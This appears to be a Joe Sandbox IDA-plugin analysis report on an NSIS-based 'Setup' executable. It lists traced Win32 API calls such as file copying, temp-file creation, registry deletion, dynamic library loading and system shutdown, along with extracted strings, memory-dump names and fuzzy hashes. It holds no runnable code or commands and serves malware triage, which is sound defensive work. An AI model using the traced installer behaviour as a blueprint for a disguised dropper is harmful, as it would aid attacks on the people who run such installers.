ExitProcess.KERNEL32 ref: 00403679
lstrcatW.KERNEL32(004E00C8,~nsu.tmp), ref: 00403685
lstrcmpiW.KERNEL32(004E00C8,004D80B8,004E00C8,~nsu.tmp), ref: 00403691
CreateDirectoryW.KERNEL32(004E00C8,00000000), ref: 0040369D
SetCurrentDirectoryW.KERNEL32(004E00C8), ref: 004036A4
DeleteFileW.KERNEL32(0043BD40,0043BD40,?,00480008,0040850C,0047C000,?), ref: 004036F5
CopyFileW.KERNEL32(004E80D8,0043BD40,00000001), ref: 00403709
CloseHandle.KERNEL32(00000000,0043BD40,0043BD40,?,0043BD40,00000000), ref: 00403736
GetCurrentProcess.KERNEL32(00000028,00000005,00000005,00000004,00000003), ref: 0040378C
ExitWindowsEx.USER32(00000002,00000000), ref: 004037C8

Strings

_?=, xrefs: 004035F4
~nsu.tmp, xrefs: 0040367F
Error launching installer, xrefs: 0040360C
/D=, xrefs: 00403537
NCRC, xrefs: 0040350C
NSIS Error, xrefs: 00403474
\Temp, xrefs: 004035AB
SeShutdownPrivilege, xrefs: 0040379E

Memory Dump Source

Source File: 00000000.00000002.1670177547.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1670149166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670204057.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.00000000004C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670568906.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: File$DirectoryHandle$CurrentDeleteExitModuleProcessWindowslstrcat$AddressCharCloseCommandCopyCreateErrorInfoInitializeLibraryLineLoadModeNextPathProcTempUninitializelstrcmpilstrcpyn
String ID: /D=$ _?=$Error launching installer$NCRC$NSIS Error$SeShutdownPrivilege$\Temp$~nsu.tmp
API String ID: 2435955865-3712954417
Opcode ID: 7a316b5055b30f9aaac34ad57f3eca8da3b8ee04e2000637dca67fb3c636fbe9
Instruction ID: 24a773ffd11e725b17f64a587af86d00896606ebd673f2b671a94fa35e787169
Opcode Fuzzy Hash: 7a316b5055b30f9aaac34ad57f3eca8da3b8ee04e2000637dca67fb3c636fbe9
Instruction Fuzzy Hash: BBA1E670500701BBD6207F629D4AB1B7E9CEB01705F10483FF985B62D2DBBD9A458BAE

Function 00405B98 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(?,00464A20,0045FE18,00406093,0045FE18), ref: 00405BA3
FindClose.KERNEL32(00000000), ref: 00405BAF

Strings

JF, xrefs: 00405B99

Memory Dump Source

Source File: 00000000.00000002.1670177547.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1670149166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670204057.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.00000000004C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670568906.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: JF
API String ID: 2295610775-1378213080
Opcode ID: 8a2fef2aada0d280f7cfc8c7f2d825c9d5ff996b33c7372124f3e42565b734a1
Instruction ID: 1ee526d225bc4302f24aa9e13179370b3debcda52a21c952381bfba9845ea930
Opcode Fuzzy Hash: 8a2fef2aada0d280f7cfc8c7f2d825c9d5ff996b33c7372124f3e42565b734a1
Instruction Fuzzy Hash: 51D022301095206FC60003386D0C88B3A28EF0A3303104B32F1A5F22E0C7B4AC638A9C

Function 00405BBF Relevance: 4.5, APIs: 3, Instructions: 19
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(?,?,00000020,00403458,00000008), ref: 00405BCF
LoadLibraryA.KERNELBASE(?,?,00000020,00403458,00000008), ref: 00405BDA
GetProcAddress.KERNEL32(00000000,?), ref: 00405BEB

Memory Dump Source

Source File: 00000000.00000002.1670177547.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1670149166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670204057.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.00000000004C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670568906.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: AddressHandleLibraryLoadModuleProc
String ID:
API String ID: 310444273-0
Opcode ID: 0ccf96f21d4775823ebfa39c65d9289fef824585f99c9f9fa051364898666991
Instruction ID: e5a37bd0471b14276c9a44c6b696aa1abbb9d0f0bd66a2a471ce49017894d203
Opcode Fuzzy Hash: 0ccf96f21d4775823ebfa39c65d9289fef824585f99c9f9fa051364898666991
Instruction Fuzzy Hash: 9DE08C32600A1297DA101B609E0896B777CAB89640302C43EF545B2011DB34B825ABAD

Function 004053F8 Relevance: 42.2, APIs: 15, Strings: 9, Instructions: 227
stringregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00405BBF: GetModuleHandleA.KERNEL32(?,?,00000020,00403458,00000008), ref: 00405BCF
Part of subcall function 00405BBF: LoadLibraryA.KERNELBASE(?,?,00000020,00403458,00000008), ref: 00405BDA
Part of subcall function 00405BBF: GetProcAddress.KERNEL32(00000000,?), ref: 00405BEB

lstrcatW.KERNEL32(004DC0C0,0044FD98), ref: 0040547C
lstrlenW.KERNEL32(0046B220,?,?,?,0046B220,00000000,004D00A8,004DC0C0,0044FD98,80000001,Control Panel\Desktop\ResourceLocale,00000000,0044FD98,00000000,00000006,004CC0A0), ref: 004054FF
lstrcmpiW.KERNEL32(0046B218,.exe,0046B220,?,?,?,0046B220,00000000,004D00A8,004DC0C0,0044FD98,80000001,Control Panel\Desktop\ResourceLocale,00000000,0044FD98,00000000), ref: 00405512
GetFileAttributesW.KERNEL32(0046B220), ref: 0040551D
LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,004D00A8), ref: 0040556F

Part of subcall function 004059FF: wsprintfW.USER32 ref: 00405A0C

RegisterClassW.USER32(00473240), ref: 004055BF
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 004055D6
CreateWindowExW.USER32(00000080,?,00000000,80000000,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 00405608

Part of subcall function 004039FC: SetWindowTextW.USER32(00000000,004732A0), ref: 00403A97

ShowWindow.USER32(00000005,00000000), ref: 0040563E
LoadLibraryW.KERNEL32(RichEd20), ref: 0040564F
LoadLibraryW.KERNEL32(RichEd32), ref: 0040565A
GetClassInfoW.USER32(00000000,RichEdit20A,00473240), ref: 00405669
GetClassInfoW.USER32(00000000,RichEdit,00473240), ref: 00405676
RegisterClassW.USER32(00473240), ref: 00405683
DialogBoxParamW.USER32(?,00000000,00404F45,00000000), ref: 004056A2

Strings

.exe, xrefs: 0040550C
RichEdit, xrefs: 00405670
_Nb, xrefs: 00405589
.DEFAULT\Control Panel\International, xrefs: 00405467
Control Panel\Desktop\ResourceLocale, xrefs: 00405440
RichEd32, xrefs: 00405655
RichEdit20A, xrefs: 00405663, 00405679
@2G, xrefs: 0040557E
RichEd20, xrefs: 0040564A

Memory Dump Source

Source File: 00000000.00000002.1670177547.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1670149166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670204057.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.00000000004C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670568906.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: ClassLoad$InfoLibraryWindow$Register$AddressAttributesCreateDialogFileHandleImageModuleParamParametersProcShowSystemTextlstrcatlstrcmpilstrlenwsprintf
String ID: .DEFAULT\Control Panel\International$.exe$@2G$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20A$_Nb
API String ID: 608394941-1197429077
Opcode ID: c9e60b1b3c0f802fbfd7db3f6b9b6b56d484588749bd373d4ce2741afa478592
Instruction ID: 3004e29146ce1891a10f4484e48a0599eb6fbea5d6fbf796412b55f756561b6a
Opcode Fuzzy Hash: c9e60b1b3c0f802fbfd7db3f6b9b6b56d484588749bd373d4ce2741afa478592
Instruction Fuzzy Hash: 7F7104B0601A11BED710ABA5AD46F6F366CEB44304F40043BF949B62E2DB794D818FAD

Function 00402EE7 Relevance: 21.2, APIs: 6, Strings: 6, Instructions: 175
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00402F59
GetTickCount.KERNEL32 ref: 00402FFA
MulDiv.KERNEL32(7FFFFFFF,00000064,?), ref: 00403023
wsprintfW.USER32 ref: 00403036
WriteFile.KERNELBASE(00000000,00000000,00423176,004032FA,00000000), ref: 00403067
WriteFile.KERNEL32(00000000,0041E170,?,00000000,00000000,0041E170,?,000000FF,00000004,00000000,00000000,00000000), ref: 004030FF

Strings

v1B, xrefs: 00402FD7, 00402FF2, 0040307B
p!B, xrefs: 00402F13
(=C, xrefs: 00402F65
... %d%%, xrefs: 00403030
pA, xrefs: 00402FAE
pA, xrefs: 004030E2

Memory Dump Source

Source File: 00000000.00000002.1670177547.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1670149166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670204057.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.00000000004C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670568906.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: CountFileTickWrite$wsprintf
String ID: (=C$... %d%%$p!B$pA$pA$v1B
API String ID: 651206458-4187956259
Opcode ID: 8c4c8dbab1ebe0afa4682773c2b87886d0ac197ebae181545411c68e098dc53f
Instruction ID: 169c75f2852f129af83c9b1986440f01f3d96746b5d1a97a5bed7113fa09ea58
Opcode Fuzzy Hash: 8c4c8dbab1ebe0afa4682773c2b87886d0ac197ebae181545411c68e098dc53f
Instruction Fuzzy Hash: 1C617B7190121AEBCF10CF65EA446AF7BB8AF44751F14413BE900B72D0D7B89A40DBA9

Function 0040311B Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 182
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 0040312C
GetModuleFileNameW.KERNEL32(00000000,004E80D8,00002004,?,?,?,00000000,004035D7,?), ref: 00403148

Part of subcall function 004058FE: GetFileAttributesW.KERNELBASE(00000003,0040315B,004E80D8,80000000,00000003,?,?,?,00000000,004035D7,?), ref: 00405902
Part of subcall function 004058FE: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,004035D7,?), ref: 00405924

GetFileSize.KERNEL32(00000000,00000000,004EC0E0,00000000,004D80B8,004D80B8,004E80D8,004E80D8,80000000,00000003,?,?,?,00000000,004035D7,?), ref: 00403194

Strings

soft, xrefs: 00403209
Error launching installer, xrefs: 0040316B
Null, xrefs: 00403212
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 00403359
Inst, xrefs: 00403200

Memory Dump Source

Source File: 00000000.00000002.1670177547.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1670149166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670204057.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.00000000004C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670568906.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: File$AttributesCountCreateModuleNameSizeTick
String ID: Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 4283519449-527102705
Opcode ID: 689548250178369e8610e5746f9adce2578bd5dbf9f68dd3f6bd973dda8ba485
Instruction ID: 9295a41ff54e91ce474836f10c0d971f7d59360bd190e5c91fe05c233bc104c6
Opcode Fuzzy Hash: 689548250178369e8610e5746f9adce2578bd5dbf9f68dd3f6bd973dda8ba485
Instruction Fuzzy Hash: 4D51D771900208ABDB119FA5DD85BAE7BA8EF04716F14417FE904B62D1DB7C8E808B9D

Function 004018D7 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 147
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatW.KERNEL32(00000000,00000000), ref: 00401917
CompareFileTime.KERNEL32(-00000014,?,BreadMeasurementScottishUrban,BreadMeasurementScottishUrban,00000000,00000000,BreadMeasurementScottishUrban,004D40B0,00000000,00000000), ref: 00401946

Part of subcall function 00405AB8: lstrcpynW.KERNEL32(?,?,00002004,00403483,004732A0,NSIS Error), ref: 00405AC5

Part of subcall function 00404A73: lstrlenW.KERNEL32(00447D88,00423176,74DF23A0,00000000), ref: 00404AAB
Part of subcall function 00404A73: lstrlenW.KERNEL32(0040304D,00447D88,00423176,74DF23A0,00000000), ref: 00404ABB
Part of subcall function 00404A73: lstrcatW.KERNEL32(00447D88,0040304D), ref: 00404ACE
Part of subcall function 00404A73: SetWindowTextW.USER32(00447D88,00447D88), ref: 00404AE0
Part of subcall function 00404A73: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00404B06
Part of subcall function 00404A73: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00404B20
Part of subcall function 00404A73: SendMessageW.USER32(?,00001013,?,00000000), ref: 00404B2E

Strings

BreadMeasurementScottishUrban, xrefs: 004018F4, 004018FD, 0040190A, 0040191C, 00401932, 00401969, 0040197F, 0040199A, 004019D2, 00401A52, 00401A5B, 00401A65, 00401A70

Memory Dump Source

Source File: 00000000.00000002.1670177547.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1670149166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670204057.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.00000000004C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670568906.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: BreadMeasurementScottishUrban
API String ID: 1941528284-2258044535
Opcode ID: 4e2e2bfaca04459f9316266c88af64ec5a68e37a9f2f48202c4a4d3150a7de52
Instruction ID: b4e8f227fe7a9537edd0b9e90a91ba8e6819ca8d144e35aa4a9caf99775b3aa4
Opcode Fuzzy Hash: 4e2e2bfaca04459f9316266c88af64ec5a68e37a9f2f48202c4a4d3150a7de52
Instruction Fuzzy Hash: 6941C471A00614AADB10AB758C85EAF3668EF45329F20423BF416B11E2C77C4A91DFAD

Function 0040172D Relevance: 6.1, APIs: 4, Instructions: 55
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00405807: CharNextW.USER32(?,004CC0A0,0045FE18,?,00406059,0045FE18,0045FE18,le@,004CC0A0,00000002,0040656C,?,004E00C8), ref: 00405815
Part of subcall function 00405807: CharNextW.USER32(00000000), ref: 0040581A
Part of subcall function 00405807: CharNextW.USER32(00000000), ref: 00405832

CreateDirectoryW.KERNELBASE(00000000,00000000,00000000,0000005C,00000000), ref: 00401757
GetLastError.KERNEL32 ref: 00401761
GetFileAttributesW.KERNELBASE(00000000), ref: 0040176F
SetCurrentDirectoryW.KERNELBASE(00000000,004D40B0,00000000,?,?,?,?,?,?,?,?,00000000), ref: 0040179F

Memory Dump Source

Source File: 00000000.00000002.1670177547.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1670149166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670204057.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.00000000004C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670568906.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentErrorFileLast
String ID:
API String ID: 3751793516-0
Opcode ID: ec289c12e333ee4ac1693090613418d4a5d7498326967ec6e3adcff5c70bf25f
Instruction ID: e2322852a9c4e47e6d687db6679f044b16e0241981b9ece66bf6cd58216f8cce
Opcode Fuzzy Hash: ec289c12e333ee4ac1693090613418d4a5d7498326967ec6e3adcff5c70bf25f
Instruction Fuzzy Hash: 3F01D631904621DBE7206B755D45B6F32A8EF14365B21063BF992F22E2D73C4C81866D

Function 0040592D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 0040594B
GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,00000000,00403392,004DC0C0,004E00C8), ref: 00405966

Strings

nsa, xrefs: 0040593A

Memory Dump Source

Source File: 00000000.00000002.1670177547.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1670149166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670204057.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.00000000004C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670568906.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: nsa
API String ID: 1716503409-2209301699
Opcode ID: 8f9989655f15aadf8d0cc60edb10422ff76ceb60520498c0bcc2ef1eb9998b51
Instruction ID: 0cdccb08d4a0cf0f0df5d656a0a7939b265b1f1c47613fc9c1e0506998bbacb4
Opcode Fuzzy Hash: 8f9989655f15aadf8d0cc60edb10422ff76ceb60520498c0bcc2ef1eb9998b51
Instruction Fuzzy Hash: C9F06276610608EBDB109F55DE05E9B7BA9EF94720F00803BE984A7190E6B099548B58

Function 00401CC9 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 71
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalAlloc.KERNELBASE(00000040,0000400C), ref: 00401D50

Part of subcall function 004060CA: GetVersion.KERNEL32(00447D88,?,00000000,00404AAA,00447D88,00000000,00423176,74DF23A0,00000000), ref: 0040619B

GlobalFree.KERNEL32(0059FFB0), ref: 00402139

Strings

BreadMeasurementScottishUrban, xrefs: 00401CFD, 00401D02, 00401D1C

Memory Dump Source

Source File: 00000000.00000002.1670177547.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1670149166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670204057.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.00000000004C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670568906.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Global$AllocFreeVersion
String ID: BreadMeasurementScottishUrban
API String ID: 2385019812-2258044535
Opcode ID: 442295020a8ec9c410d593e6b55dbcb69a0d183c26179685e54f734f8a1201cf
Instruction ID: 6b75c97ebfe45aa80d571dd756fbca19e350de1e8d26625c3d1a57f244ee0343
Opcode Fuzzy Hash: 442295020a8ec9c410d593e6b55dbcb69a0d183c26179685e54f734f8a1201cf
Instruction Fuzzy Hash: 502102316442159BE720DF588A40B6F73A8FF08758B10413BE942B72D0C7B8D851AB9E

Function 0040248E Relevance: 3.0, APIs: 2, Instructions: 45
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040154D: RegOpenKeyExW.KERNELBASE(?,00000000,00000000,?,?), ref: 00401587

RegDeleteValueW.KERNELBASE(00000000,00000000), ref: 004024AF
RegCloseKey.ADVAPI32(00000000), ref: 004024B8

Memory Dump Source

Source File: 00000000.00000002.1670177547.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1670149166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670204057.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.00000000004C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670568906.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: CloseDeleteOpenValue
String ID:
API String ID: 849931509-0
Opcode ID: 28d58af51618036718c252708d6da1339e8b50d3138fddc83e0f4718e70968a2
Instruction ID: e1576bc29d89e2789c90d7360848647e5e88d3aa3db4fc6b5d334060f6266443
Opcode Fuzzy Hash: 28d58af51618036718c252708d6da1339e8b50d3138fddc83e0f4718e70968a2
Instruction Fuzzy Hash: FE01863250061197EB15EBA49A59B7F7274EB80758F21413FE402BB1E1C67C8D81865D

Function 0040139B Relevance: 3.0, APIs: 2, Instructions: 43
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013F6
SendMessageW.USER32(00000402,00000402,00000000), ref: 00401406

Memory Dump Source

Source File: 00000000.00000002.1670177547.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1670149166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670204057.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670379188.00000000004C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670568906.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 7d139e0d7de234bcf6a700e513e47626535988416de2a1309b9d7b071a3250d9
Instruction ID: d821e5382ecf7e63f516690336e344d0ace40c90d4042eade43e4a0886427dd5
Opcode Fuzzy Hash: 7d139e0d7de234bcf6a700e513e47626535988416de2a1309b9d7b071a3250d9
Instruction Fuzzy Hash: 2801FF31A202209BEB155F35AC08B6B3698A784315F20427EF855F72F2D678CC829B8C

Function 004058FE Relevance: 3.0, APIs: 2, Instructions: 16
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesW.KERNELBASE(00000003,0040315B,004E80D8,80000000,00000003,?,?,?,00000000,004035D7,?), ref: 00405902
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,004035D7,?), ref: 00405924

Memory Dump Source

Source File: 00000000.00000002.1670177547.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

